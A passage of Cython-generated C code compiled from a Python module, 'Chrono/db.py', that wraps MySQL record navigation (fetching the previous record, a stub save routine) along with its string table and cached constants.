__pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 148, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 148, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":149 * if data == None: * self.newRecord() * return False # <<<<<<<<<<<<<< * else: * for i in range( 0, len(data) -1 ): */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(Py_False); __pyx_r = Py_False; goto __pyx_L7_try_return; /* "Chrono/db.py":147 * data = cursor.fetchone() * cursor.close() * if data == None: # <<<<<<<<<<<<<< * self.newRecord() * return False */ } /* "Chrono/db.py":151 * return False * else: * for i in range( 0, len(data) -1 ): # <<<<<<<<<<<<<< * self._data[self._desc[i][0]] = data[i] * except Exception as e: */ /*else*/ { __pyx_t_10 = PyObject_Length(__pyx_v_data); if (unlikely(__pyx_t_10 == -1)) __PYX_ERR(0, 151, __pyx_L3_error) __pyx_t_11 = (__pyx_t_10 - 1); for (__pyx_t_10 = 0; __pyx_t_10 < __pyx_t_11; __pyx_t_10+=1) { __pyx_v_i = __pyx_t_10; /* "Chrono/db.py":152 * else: * for i in range( 0, len(data) -1 ): * self._data[self._desc[i][0]] = data[i] # <<<<<<<<<<<<<< * except Exception as e: * print(e) */ __pyx_t_4 = __Pyx_GetItemInt(__pyx_v_data, __pyx_v_i, Py_ssize_t, 1, PyInt_FromSsize_t, 0, 1, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 152, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 152, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_desc); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_8 = __Pyx_GetItemInt(__pyx_t_5, __pyx_v_i, Py_ssize_t, 1, PyInt_FromSsize_t, 0, 1, 1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 152, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_8, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; if (unlikely(PyObject_SetItem(__pyx_t_6, __pyx_t_5, __pyx_t_4) < 0)) __PYX_ERR(0, 152, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } /* "Chrono/db.py":142 * * def getPrevRecord(self ): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+ " LIMIT %d,1"%(self._index - 1)) */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L10_try_end; __pyx_L3_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":153 * for i in range( 0, len(data) -1 ): * self._data[self._desc[i][0]] = data[i] * except Exception as e: # <<<<<<<<<<<<<< * print(e) * return False */ __pyx_t_12 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_12) { __Pyx_AddTraceback("Chrono.db.db.getPrevRecord", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_5, &__pyx_t_6) < 0) __PYX_ERR(0, 153, __pyx_L5_except_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __pyx_v_e = __pyx_t_5; /*try:*/ { /* "Chrono/db.py":154 * self._data[self._desc[i][0]] = data[i] * except Exception as e: * print(e) # <<<<<<<<<<<<<< * return False * self._index -= 1 */ __pyx_t_8 = PyTuple_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 154, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_v_e); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_8, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 154, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Chrono/db.py":155 * except Exception as e: * print(e) * return False # <<<<<<<<<<<<<< * self._index -= 1 * self.indb = True */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(Py_False); __pyx_r = Py_False; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; goto __pyx_L18_return; } /* "Chrono/db.py":153 * for i in range( 0, len(data) -1 ): * self._data[self._desc[i][0]] = data[i] * except Exception as e: # <<<<<<<<<<<<<< * print(e) * return False */ /*finally:*/ { /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L19_error:; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_15, &__pyx_t_16, &__pyx_t_17) < 0)) __Pyx_ErrFetch(&__pyx_t_15, &__pyx_t_16, &__pyx_t_17); __Pyx_XGOTREF(__pyx_t_15); __Pyx_XGOTREF(__pyx_t_16); __Pyx_XGOTREF(__pyx_t_17); __Pyx_XGOTREF(__pyx_t_18); __Pyx_XGOTREF(__pyx_t_19); __Pyx_XGOTREF(__pyx_t_20); __pyx_t_12 = __pyx_lineno; __pyx_t_13 = __pyx_clineno; __pyx_t_14 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_18); __Pyx_XGIVEREF(__pyx_t_19); __Pyx_XGIVEREF(__pyx_t_20); __Pyx_ExceptionReset(__pyx_t_18, __pyx_t_19, __pyx_t_20); } __Pyx_XGIVEREF(__pyx_t_15); __Pyx_XGIVEREF(__pyx_t_16); __Pyx_XGIVEREF(__pyx_t_17); __Pyx_ErrRestore(__pyx_t_15, __pyx_t_16, __pyx_t_17); __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_lineno = __pyx_t_12; __pyx_clineno = __pyx_t_13; __pyx_filename = __pyx_t_14; goto __pyx_L5_except_error; } __pyx_L18_return: { __pyx_t_20 = __pyx_r; __pyx_r = 0; __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; __pyx_r = __pyx_t_20; __pyx_t_20 = 0; goto __pyx_L6_except_return; } } } goto __pyx_L5_except_error; __pyx_L5_except_error:; /* "Chrono/db.py":142 * * def getPrevRecord(self ): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+ " LIMIT %d,1"%(self._index - 1)) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L1_error; __pyx_L7_try_return:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L0; __pyx_L6_except_return:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L0; __pyx_L10_try_end:; } /* "Chrono/db.py":156 * print(e) * return False * self._index -= 1 # <<<<<<<<<<<<<< * self.indb = True * self.modified = False */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_index); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyInt_SubtractObjC(__pyx_t_6, __pyx_int_1, 1, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_index, __pyx_t_5) < 0) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/db.py":157 * return False * self._index -= 1 * self.indb = True # <<<<<<<<<<<<<< * self.modified = False * return True */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_indb, Py_True) < 0) __PYX_ERR(0, 157, __pyx_L1_error) /* "Chrono/db.py":158 * self._index -= 1 * self.indb = True * self.modified = False # <<<<<<<<<<<<<< * return True * */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_modified, Py_False) < 0) __PYX_ERR(0, 158, __pyx_L1_error) /* "Chrono/db.py":159 * self.indb = True * self.modified = False * return True # <<<<<<<<<<<<<< * * def saveRecord( self ): # TODO: Wrtie the rotine to save the data to database */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(Py_True); __pyx_r = Py_True; goto __pyx_L0; /* "Chrono/db.py":141 * return True * * def getPrevRecord(self ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("Chrono.db.db.getPrevRecord", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_cursor); __Pyx_XDECREF(__pyx_v_data); __Pyx_XDECREF(__pyx_v_e); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/db.py":161 * return True * * def saveRecord( self ): # TODO: Wrtie the rotine to save the data to database # <<<<<<<<<<<<<< * return False * try: */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_2db_2db_15saveRecord(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_2db_2db_15saveRecord = {"saveRecord", (PyCFunction)__pyx_pw_6Chrono_2db_2db_15saveRecord, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_2db_2db_15saveRecord(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("saveRecord (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_2db_2db_14saveRecord(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_2db_2db_14saveRecord(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("saveRecord", 0); /* "Chrono/db.py":162 * * def saveRecord( self ): # TODO: Wrtie the rotine to save the data to database * return False # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(Py_False); __pyx_r = Py_False; goto __pyx_L0; /* "Chrono/db.py":161 * return True * * def saveRecord( self ): # TODO: Wrtie the rotine to save the data to database # <<<<<<<<<<<<<< * return False * try: */ /* function exit code */ __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyMethodDef __pyx_methods[] = { {0, 0, 0, 0} }; #if PY_MAJOR_VERSION >= 3 static struct PyModuleDef __pyx_moduledef = { #if PY_VERSION_HEX < 0x03020000 { PyObject_HEAD_INIT(NULL) NULL, 0, NULL }, #else PyModuleDef_HEAD_INIT, #endif "db", 0, /* m_doc */ -1, /* m_size */ __pyx_methods /* m_methods */, NULL, /* m_reload */ NULL, /* m_traverse */ NULL, /* m_clear */ NULL /* m_free */ }; #endif static __Pyx_StringTabEntry __pyx_string_tab[] = { {&__pyx_n_s_Chrono_db, __pyx_k_Chrono_db, sizeof(__pyx_k_Chrono_db), 0, 0, 1, 1}, {&__pyx_kp_u_DESC, __pyx_k_DESC, sizeof(__pyx_k_DESC), 0, 1, 0, 0}, {&__pyx_kp_u_ERROR_Getting_the_table_descript, __pyx_k_ERROR_Getting_the_table_descript, sizeof(__pyx_k_ERROR_Getting_the_table_descript), 0, 1, 0, 0}, {&__pyx_kp_u_ERROR_Opening_database_connextio, __pyx_k_ERROR_Opening_database_connextio, sizeof(__pyx_k_ERROR_Opening_database_connextio), 0, 1, 0, 0}, {&__pyx_kp_u_Error_openning_dataBase, __pyx_k_Error_openning_dataBase, sizeof(__pyx_k_Error_openning_dataBase), 0, 1, 0, 0}, {&__pyx_kp_u_LIMIT_d_1, __pyx_k_LIMIT_d_1, sizeof(__pyx_k_LIMIT_d_1), 0, 1, 0, 0}, {&__pyx_n_s_MySQLdb, __pyx_k_MySQLdb, sizeof(__pyx_k_MySQLdb), 0, 0, 1, 1}, {&__pyx_n_s_Preferences, __pyx_k_Preferences, sizeof(__pyx_k_Preferences), 0, 0, 1, 1}, {&__pyx_kp_u_SELECT_FROM, __pyx_k_SELECT_FROM, sizeof(__pyx_k_SELECT_FROM), 0, 1, 0, 0}, {&__pyx_kp_u_SELECT_VERSION, __pyx_k_SELECT_VERSION, sizeof(__pyx_k_SELECT_VERSION), 0, 1, 0, 0}, {&__pyx_kp_u_WHERE, __pyx_k_WHERE, sizeof(__pyx_k_WHERE), 0, 1, 0, 0}, {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, {&__pyx_n_s_append, __pyx_k_append, sizeof(__pyx_k_append), 0, 0, 1, 1}, {&__pyx_n_u_bigint, __pyx_k_bigint, sizeof(__pyx_k_bigint), 0, 1, 0, 1}, {&__pyx_n_s_charset, __pyx_k_charset, sizeof(__pyx_k_charset), 0, 0, 1, 1}, {&__pyx_n_s_class, __pyx_k_class, sizeof(__pyx_k_class), 0, 0, 1, 1}, {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, {&__pyx_n_s_connect, __pyx_k_connect, sizeof(__pyx_k_connect), 0, 0, 1, 1}, {&__pyx_n_s_cursor, __pyx_k_cursor, sizeof(__pyx_k_cursor), 0, 0, 1, 1}, {&__pyx_n_s_d, __pyx_k_d, sizeof(__pyx_k_d), 0, 0, 1, 1}, {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, {&__pyx_n_s_dataBase, __pyx_k_dataBase, sizeof(__pyx_k_dataBase), 0, 0, 1, 1}, {&__pyx_n_s_data_2, __pyx_k_data_2, sizeof(__pyx_k_data_2), 0, 0, 1, 1}, {&__pyx_n_s_db, __pyx_k_db, sizeof(__pyx_k_db), 0, 0, 1, 1}, {&__pyx_n_u_db, __pyx_k_db, sizeof(__pyx_k_db), 0, 1, 0, 1}, {&__pyx_n_s_db___init, __pyx_k_db___init, sizeof(__pyx_k_db___init), 0, 0, 1, 1}, {&__pyx_n_s_db_getDbVersion, __pyx_k_db_getDbVersion, sizeof(__pyx_k_db_getDbVersion), 0, 0, 1, 1}, {&__pyx_n_s_db_getNextRecord, __pyx_k_db_getNextRecord, sizeof(__pyx_k_db_getNextRecord), 0, 0, 1, 1}, {&__pyx_n_s_db_getPrevRecord, __pyx_k_db_getPrevRecord, sizeof(__pyx_k_db_getPrevRecord), 0, 0, 1, 1}, {&__pyx_n_s_db_getRecord, __pyx_k_db_getRecord, sizeof(__pyx_k_db_getRecord), 0, 0, 1, 1}, {&__pyx_n_s_db_getTableDescription, __pyx_k_db_getTableDescription, sizeof(__pyx_k_db_getTableDescription), 0, 0, 1, 1}, {&__pyx_n_s_db_newRecord, __pyx_k_db_newRecord, sizeof(__pyx_k_db_newRecord), 0, 0, 1, 1}, {&__pyx_n_s_db_saveRecord, __pyx_k_db_saveRecord, sizeof(__pyx_k_db_saveRecord), 0, 0, 1, 1}, {&__pyx_n_s_desc, __pyx_k_desc, sizeof(__pyx_k_desc), 0, 0, 1, 1}, {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, {&__pyx_n_u_double, __pyx_k_double, sizeof(__pyx_k_double), 0, 1, 0, 1}, {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, {&__pyx_n_s_e1, __pyx_k_e1, sizeof(__pyx_k_e1), 0, 0, 1, 1}, {&__pyx_n_s_e2, __pyx_k_e2, sizeof(__pyx_k_e2), 0, 0, 1, 1}, {&__pyx_n_s_execute, __pyx_k_execute, sizeof(__pyx_k_execute), 0, 0, 1, 1}, {&__pyx_n_s_exit, __pyx_k_exit, sizeof(__pyx_k_exit), 0, 0, 1, 1}, {&__pyx_n_s_fetchall, __pyx_k_fetchall, sizeof(__pyx_k_fetchall), 0, 0, 1, 1}, {&__pyx_n_s_fetchone, __pyx_k_fetchone, sizeof(__pyx_k_fetchone), 0, 0, 1, 1}, {&__pyx_n_s_flag_local, __pyx_k_flag_local, sizeof(__pyx_k_flag_local), 0, 0, 1, 1}, {&__pyx_n_u_float, __pyx_k_float, sizeof(__pyx_k_float), 0, 1, 0, 1}, {&__pyx_n_s_getDbVersion, __pyx_k_getDbVersion, sizeof(__pyx_k_getDbVersion), 0, 0, 1, 1}, {&__pyx_n_s_getNextRecord, __pyx_k_getNextRecord, sizeof(__pyx_k_getNextRecord), 0, 0, 1, 1}, {&__pyx_n_s_getPrevRecord, __pyx_k_getPrevRecord, sizeof(__pyx_k_getPrevRecord), 0, 0, 1, 1}, {&__pyx_n_s_getRecord, __pyx_k_getRecord, sizeof(__pyx_k_getRecord), 0, 0, 1, 1}, {&__pyx_n_s_getTableDescription, __pyx_k_getTableDescription, sizeof(__pyx_k_getTableDescription), 0, 0, 1, 1}, {&__pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_k_home_thor_Devel_Transponder_Chr, sizeof(__pyx_k_home_thor_Devel_Transponder_Chr), 0, 0, 1, 0}, {&__pyx_n_u_host, __pyx_k_host, sizeof(__pyx_k_host), 0, 1, 0, 1}, {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, {&__pyx_n_u_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 1, 0, 1}, {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, {&__pyx_n_s_indb, __pyx_k_indb, sizeof(__pyx_k_indb), 0, 0, 1, 1}, {&__pyx_n_s_index, __pyx_k_index, sizeof(__pyx_k_index), 0, 0, 1, 1}, {&__pyx_n_s_index_2, __pyx_k_index_2, sizeof(__pyx_k_index_2), 0, 0, 1, 1}, {&__pyx_n_s_init, __pyx_k_init, sizeof(__pyx_k_init), 0, 0, 1, 1}, {&__pyx_n_s_install_as_MySQLdb, __pyx_k_install_as_MySQLdb, sizeof(__pyx_k_install_as_MySQLdb), 0, 0, 1, 1}, {&__pyx_n_u_int, __pyx_k_int, sizeof(__pyx_k_int), 0, 1, 0, 1}, {&__pyx_n_s_link, __pyx_k_link, sizeof(__pyx_k_link), 0, 0, 1, 1}, {&__pyx_n_u_localhost, __pyx_k_localhost, sizeof(__pyx_k_localhost), 0, 1, 0, 1}, {&__pyx_n_s_localid, __pyx_k_localid, sizeof(__pyx_k_localid), 0, 0, 1, 1}, {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, {&__pyx_n_s_modified, __pyx_k_modified, sizeof(__pyx_k_modified), 0, 0, 1, 1}, {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, {&__pyx_n_s_n, __pyx_k_n, sizeof(__pyx_k_n), 0, 0, 1, 1}, {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, {&__pyx_n_s_newRecord, __pyx_k_newRecord, sizeof(__pyx_k_newRecord), 0, 0, 1, 1}, {&__pyx_n_u_pass, __pyx_k_pass, sizeof(__pyx_k_pass), 0, 1, 0, 1}, {&__pyx_n_s_pref, __pyx_k_pref, sizeof(__pyx_k_pref), 0, 0, 1, 1}, {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, {&__pyx_n_s_print, __pyx_k_print, sizeof(__pyx_k_print), 0, 0, 1, 1}, {&__pyx_n_s_pymysql, __pyx_k_pymysql, sizeof(__pyx_k_pymysql), 0, 0, 1, 1}, {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, {&__pyx_n_s_r, __pyx_k_r, sizeof(__pyx_k_r), 0, 0, 1, 1}, {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, {&__pyx_n_u_real, __pyx_k_real, sizeof(__pyx_k_real), 0, 1, 0, 1}, {&__pyx_n_s_saveRecord, __pyx_k_saveRecord, sizeof(__pyx_k_saveRecord), 0, 0, 1, 1}, {&__pyx_n_s_self, __pyx_k_self, sizeof(__pyx_k_self), 0, 0, 1, 1}, {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, {&__pyx_n_s_t, __pyx_k_t, sizeof(__pyx_k_t), 0, 0, 1, 1}, {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, {&__pyx_n_s_time, __pyx_k_time, sizeof(__pyx_k_time), 0, 0, 1, 1}, {&__pyx_n_u_user, __pyx_k_user, sizeof(__pyx_k_user), 0, 1, 0, 1}, {&__pyx_n_u_utf8, __pyx_k_utf8, sizeof(__pyx_k_utf8), 0, 1, 0, 1}, {&__pyx_n_s_wclause, __pyx_k_wclause, sizeof(__pyx_k_wclause), 0, 0, 1, 1}, {0, 0, 0, 0, 0, 0, 0} }; static int __Pyx_InitCachedBuiltins(void) { __pyx_builtin_print = __Pyx_GetBuiltinName(__pyx_n_s_print); if (!__pyx_builtin_print) __PYX_ERR(0, 39, __pyx_L1_error) __pyx_builtin_exit = __Pyx_GetBuiltinName(__pyx_n_s_exit); if (!__pyx_builtin_exit) __PYX_ERR(0, 42, __pyx_L1_error) __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 112, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } static int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); /* "Chrono/db.py":39 * ) * except Exception as e2: * print("ERROR Opening database connextion, Please set the host in Preferences File") # <<<<<<<<<<<<<< * print( e1 ) * print( e2 ) */ __pyx_tuple_ = PyTuple_Pack(1, __pyx_kp_u_ERROR_Opening_database_connextio); if (unlikely(!__pyx_tuple_)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple_); __Pyx_GIVEREF(__pyx_tuple_); /* "Chrono/db.py":42 * print( e1 ) * print( e2 ) * exit( -1 ) # <<<<<<<<<<<<<< * if self._link == None: * print("ERROR Opening database connextion, Please set the host in Preferences File") */ __pyx_tuple__2 = PyTuple_Pack(1, __pyx_int_neg_1); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__2); __Pyx_GIVEREF(__pyx_tuple__2); /* "Chrono/db.py":44 * exit( -1 ) * if self._link == None: * print("ERROR Opening database connextion, Please set the host in Preferences File") # <<<<<<<<<<<<<< * exit( -1 ) * if self._desc == None: # init table description, one for all instance */ __pyx_tuple__3 = PyTuple_Pack(1, __pyx_kp_u_ERROR_Opening_database_connextio); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__3); __Pyx_GIVEREF(__pyx_tuple__3); /* "Chrono/db.py":45 * if self._link == None: * print("ERROR Opening database connextion, Please set the host in Preferences File") * exit( -1 ) # <<<<<<<<<<<<<< * if self._desc == None: # init table description, one for all instance * self._desc = [] */ __pyx_tuple__4 = PyTuple_Pack(1, __pyx_int_neg_1); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__4); __Pyx_GIVEREF(__pyx_tuple__4); /* "Chrono/db.py":55 * self._desc.append([r[0], r[1]]) * except Exception as e: * print("ERROR: Getting the table descriptio") # <<<<<<<<<<<<<< * print(e) * else: */ __pyx_tuple__5 = PyTuple_Pack(1, __pyx_kp_u_ERROR_Getting_the_table_descript); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__5); __Pyx_GIVEREF(__pyx_tuple__5); /* "Chrono/db.py":58 * print(e) * else: * print("Error openning dataBase") # <<<<<<<<<<<<<< * exit( -1 ) * self._data = {} # initialise the dictionary space */ __pyx_tuple__6 = PyTuple_Pack(1, __pyx_kp_u_Error_openning_dataBase); if (unlikely(!__pyx_tuple__6)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__6); __Pyx_GIVEREF(__pyx_tuple__6); /* "Chrono/db.py":59 * else: * print("Error openning dataBase") * exit( -1 ) # <<<<<<<<<<<<<< * self._data = {} # initialise the dictionary space * self.newRecord() # create all fields */ __pyx_tuple__7 = PyTuple_Pack(1, __pyx_int_neg_1); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__7); __Pyx_GIVEREF(__pyx_tuple__7); /* "Chrono/db.py":66 * def newRecord(self): * for i in self._desc: * t = i[1].split('(')[0] # <<<<<<<<<<<<<< * n = i[0] * if t=='int' or t=='bigint': */ __pyx_tuple__9 = PyTuple_Pack(1, __pyx_kp_u__8); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__9); __Pyx_GIVEREF(__pyx_tuple__9); /* "Chrono/db.py":82 * try: * cursor = self._link.cursor() * cursor.execute("SELECT VERSION()") # <<<<<<<<<<<<<< * data = cursor.fetchone() * cursor.close() */ __pyx_tuple__11 = PyTuple_Pack(1, __pyx_kp_u_SELECT_VERSION); if (unlikely(!__pyx_tuple__11)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__11); __Pyx_GIVEREF(__pyx_tuple__11); /* "Chrono/db.py":19 * flag_local = (1<<70) # bit 